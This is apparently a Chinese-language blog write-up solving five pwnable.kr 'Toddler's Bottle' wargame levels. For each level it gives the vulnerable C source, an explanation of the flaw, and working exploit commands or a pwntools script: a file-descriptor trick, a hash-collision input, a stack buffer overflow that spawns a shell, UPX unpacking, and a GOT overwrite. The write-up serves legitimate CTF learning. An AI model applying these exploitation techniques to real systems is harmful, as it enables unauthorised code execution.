Pwnable.kr Toddler's Bottle 练习记录

Pwnable.kr Toddler's Bottle 练习记录。

fd

查看程序源码,需要使 buf 为 "LETMEWIN" 字符串才可以得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

在 Linux 系统中,文件描述符使用 int 类型进行表示,其中有三个系统默认值。

  • 0:stdin,标准输入流
  • 1:stdout,标准输出流
  • 2:stderr,标准错误流

当程序中 fd 的值为 0 时,表示 read() 函数将从 stdin 流中读取 32 字节数据到 buf 数组中,此时可以控制 buf 为 "LETMEWIN" 字符串,得到 flag 信息。

1
2
3
4
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

collision

查看程序源码,当输入的字符相加为 0x21DD09EC 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

由 0x21DD09EC 为 568134124 可知,当 0x21DD09EC + 0x1 = 0x21DD09ED 时,能够被 5 除尽,所以可以得到 0x6C5CEC9、0x6C5CEC9、0x6C5CEC9、0x6C5CEC9 和 0x6C5CEC8 等 5 个用于相加的数值。

构造用于输入的字符串,读取 flag 信息。

1
2
col@pwnable:~$ ./col `python -c 'print "\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC8\xCE\xC5\x06"'`
daddy! I just managed to create a hash collision :)

bof

查看程序源码,当 key 为 0xcafebabe 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

通过 gets() 函数获取输入时,并不会对输入数据的长度进行检查,因此输入长度超过 32 字节便会溢出 overflowme 数组的内存空间。

查看 func 函数的栈布局。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-0000002C overflowme db 32 dup(?)
-0000000C var_C dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 key dd ?
+0000000C
+0000000C ; end of stack variables

其中 overflowme 距离 key 偏移为 0x34 字节,当填充 56 字节的数据时,便可以覆盖 key 的值。

编写利用脚本。

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3

from pwn import *

payload = b'A' * 0x34
payload += b'\xbe\xba\xfe\xca'

target = remote('pwnable.kr', 9000)
target.sendline(payload)
target.interactive()

运行脚本,得到 flag 信息。

得到 flag 信息

flag

下载程序,检测到文件经过 UPX 压缩。

检测文件信息

使用 UPX 进行解压处理。

1
2
3
4
5
6
7
8
9
10
>  upx.exe -d ..\flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2023
UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023

File size Ratio Format Name
-------------------- ------ ----------- -----------
887219 <- 335288 37.79% linux/amd64 flag

Unpacked 1 file.

再次检测文件,确定文件已经解压。

检测文件信息

使用 IDA 进行代码分析,查看 main() 函数。

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // [rsp+8h] [rbp-8h]

puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}

查看硬编码的 flag 信息。

1
2
3
4
5
6
7
.data:00000000006C2070 28 66 49 00 00 00 00 00       flag dq offset aUpxSoundsLikeA
.data:00000000006C2070 ; DATA XREF: main+20↑r

....

.rodata:0000000000496628 55 50 58 2E 2E 2E 3F 20 73 6F+aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0
.rodata:0000000000496628 75 6E 64 73 20 6C 69 6B 65 20+ ; DATA XREF: .data:flag↓o

passcode

查看程序源码,当 passcode1 为 338150 和 passcode2 为 13371337 时得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

login() 函数中,可以看到 passcode1passcode2 通过 scanf() 函数接收输入时,缺少 & 符号,这将导致实际存储数据的内存地址由两个变量的数值决定。

经过调试分析发现 welcome() 函数中 name 数组的最后 4 个字节,恰好与 passcode1 重叠,因此可以通过 name 数组来控制 passcode1 的值,从而实现任意地址写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// edx = 0xffffd0e8 -> name array address
*EDX 0xffffd0e8 —▸ 0xf7e2ada0 (_IO_2_1_stdout_) ◂— 0xfbad2a84

0x804862a <welcome+33> mov eax, 0x80487dd
0x804862f <welcome+38> lea edx, [ebp - 0x70]
► 0x8048632 <welcome+41> mov dword ptr [esp + 4], edx
0x8048636 <welcome+45> mov dword ptr [esp], eax
0x8048639 <welcome+48> call __isoc99_scanf@plt <__isoc99_scanf@plt>


// ebp - 0x10 = 0xffffd148 -> passcode1 address
EBP 0xffffd158 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0

0x8048577 <login+19> mov eax, 0x8048783
0x804857c <login+24> mov edx, dword ptr [ebp - 0x10]
► 0x804857f <login+27> mov dword ptr [esp + 4], edx
0x8048583 <login+31> mov dword ptr [esp], eax
0x8048586 <login+34> call __isoc99_scanf@plt <__isoc99_scanf@plt>

// ebp - 0xc = 0xffffd14c -> passcode2 address
EBP 0xffffd158 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0

0x80485a5 <login+65> mov eax, 0x8048783
0x80485aa <login+70> mov edx, dword ptr [ebp - 0xc]
► 0x80485ad <login+73> mov dword ptr [esp + 4], edx
0x80485b1 <login+77> mov dword ptr [esp], eax
0x80485b4 <login+80> call __isoc99_scanf@plt <__isoc99_scanf@plt>

借助任意地址写入功能,可以通过改写 GOT 表中的函数地址来跳转到任意地址进行执行,从而绕过校验代码,得到 flag 信息。

查看 .got.plt 中的函数列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
passcode@pwnable:~$ readelf -r passcode

Relocation section '.rel.dyn' at offset 0x388 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__
0804a02c 00000b05 R_386_COPY 0804a02c stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x398 contains 9 entries:
Offset Info Type Sym.Value Sym. Name
0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7

由于 fflush() 函数会刷新输入缓冲区,所以选择覆盖 GOT 表中 fflush() 函数的地址。

通过 fflush() 函数直接跳转到校验成功分支。

1
2
3
4
5
6
7
.text:080485D5                 jnz     short loc_80485F1
.text:080485D7 mov dword ptr [esp], offset aLoginOk ; "Login OK!"
.text:080485DE call _puts
.text:080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA call _system
.text:080485EF leave
.text:080485F0 retn

借助 Python 向程序传参,得到 flag 信息。

1
2
3
4
5
passcode@pwnable:~$ python -c 'print "a" * 96 + "\x04\xa0\x04\x08" + "134514147"' | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

参考链接

pwnable.kr